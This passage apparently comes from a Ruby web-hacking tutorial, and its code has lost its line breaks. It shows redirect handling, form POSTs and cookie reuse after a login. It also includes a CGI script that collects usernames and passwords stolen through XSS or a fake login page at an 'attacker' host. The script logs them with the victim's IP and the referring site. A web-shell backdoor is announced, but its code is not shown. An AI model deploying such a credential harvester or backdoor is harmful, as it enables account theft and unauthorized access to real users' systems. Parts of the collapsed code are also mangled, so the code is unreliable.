#!/usr/bin/env rubyrequire'net/http'uri =ARGV[0]loopdoputs uri res =Net::HTTP.get_response URI uriif!res['location'].nil? uri = res['location']elsebreakendend
We need to send a Post request as the form figure 1 would do with control on each value and variable.
require"net/http"require"uri"# Parsing the URL and instantiate httpuri =URI.parse("http://wwwx.cs.unc.edu/~jbs/aw-wwwp/docs/resources/perl/perl-cgi/programs/cgi_stdin.cgi")http =Net::HTTP.new(uri.host, uri.port)http.use_ssl =trueif uri.scheme =='https'# Enable HTTPS support if it's HTTPS# Instantiate HTTP Post requestrequest =Net::HTTP::Post.new(uri.request_uri)# Headersrequest["Accept"] ="text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"request["User-Agent"] ="Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:37.0) Gecko/20100101 Firefox/37.0"request["Referer"] ="http://www.cs.unc.edu/~jbs/resources/perl/perl-cgi/programs/form1-POST.html"request["Connection"] ="keep-alive"request["Accept-Language"] ="en-US,en;q=0.5"request["Accept-Encoding"] ="gzip, deflate"request["Content-Type"] ="application/x-www-form-urlencoded"# Post bodyrequest.set_form_data({"name"=>"My title is here","textarea"=>"My grate message here.","radiobutton"=>"middleun","checkedbox"=>"pizza","checkedbox"=>"hamburgers","checkedbox"=>"mashed potatoes","selectitem"=>"hamburgers","submitbutton"=>"Do it!" })# Receive the responseresponse = http.request(request)puts"Status code: "+ response.codeputs"Response body: "+ response.body
You can use body method instead of set_form_data to avoid auto-encoding for any reason
request.body ="name=My title is here&textarea=My grate message here.&radiobutton=middleun&checkedbox=pizza&checkedboxhamburgers&checkedbox=mashed potatoes&selectitem=hamburgers&submitbutton=Do it!"
Dealing with Cookies
Some times you need to deal with some actions after authentication. Ideally, it's all about cookies.
Notes:
To Read cookies you need to get set-cookie from response
To Set cookies you need to set Cookie to request
puts"[*] Logging-in"uri1 =URI.parse("http://host/login.aspx")uri2 =URI.parse("http://host/report.aspx")Net::HTTP.start(uri1.host, uri1.port) do|http| http.use_ssl =trueif uri1.scheme =='https'# Enable HTTPS support if it's HTTPSputs"[*] Logging in" p_request =Net::HTTP::Post.new(uri1) p_request.set_form_data({"loginName"=>"admin","password"=>"P@ssw0rd"}) p_response = http.request(p_request) cookies = p_response.response['set-cookie'] # Save Cookiesputs"[*] Do Post-authentication actions"Net::HTTP::Get.new(uri2) g_request =Net::HTTP::Get.new(uri2) g_request['Cookie'] = cookies # Restore Saved Cookies g_response = http.request(g_request)end
When you exploit XSS or HTML injection you may need to receive the grepped data from exploited user to your external server. Here a simple example of CGI script take sent get request from fake login from that asks users to enter log-in with username and password then will store the data to hacked_login.txt text file and fix its permissions to assure that nobody can access that file from public.
Add the following to /etc/apache2/sites-enabled/[SITE] then restart the service
Now, put the script in /var/www/[CGI FOLDER]. You can use it now.
#!/usr/bin/ruby# CGI script gets user/pass | http://attacker/info.rb?user=USER&pass=PASSrequire'cgi'require'uri'cgi =CGI.newcgi.header # content type 'text/html'user =URI.encode cgi['user']pass =URI.encode cgi['pass']time =Time.now.strftime("%D %T")file ='hacked_login.txt'File.open(file,"a") do|f| f.puts time # Time of receiving the get request f.puts"#{URI.decode user}:#{URI.decode pass}"# The data f.puts cgi.remote_addr # Remote user IP f.puts cgi.referer # The vulnerable site URL f.puts"---------------------------"endFile.chmod(0200, file) # To prevent public access to the log fileputs""
Web Shell - command execution via GET
if you have a server that supports ruby CGI, you can use the following as backdoor
Since we're talking about dealing with web in ruby, we can't forget Mechanize gem, the most known library for dealing wit web.
The Official description says, the Mechanize library is used for automating interaction with websites. Mechanize automatically stores and sends cookies, follows redirects, and can follow links and submit forms. Form fields can be populated and submitted. Mechanize also keeps track of the sites that you have visited as a history.
Since you know the hard way, you'll find Mechanize as simple as mouse clicks! give it a try!
HTTP.rb
HTTP (The Gem! a.k.a. http.rb) is an easy-to-use client library for making requests from Ruby. It uses a simple method chaining system for building requests, similar to Python's Requests.
Under the hood, http.rb uses http_parser.rb, a fast HTTP parsing native extension based on the Node.js parser and a Java port thereof. This library isn't just yet another wrapper around Net::HTTP. It implements the HTTP protocol natively and outsources the parsing to native extensions.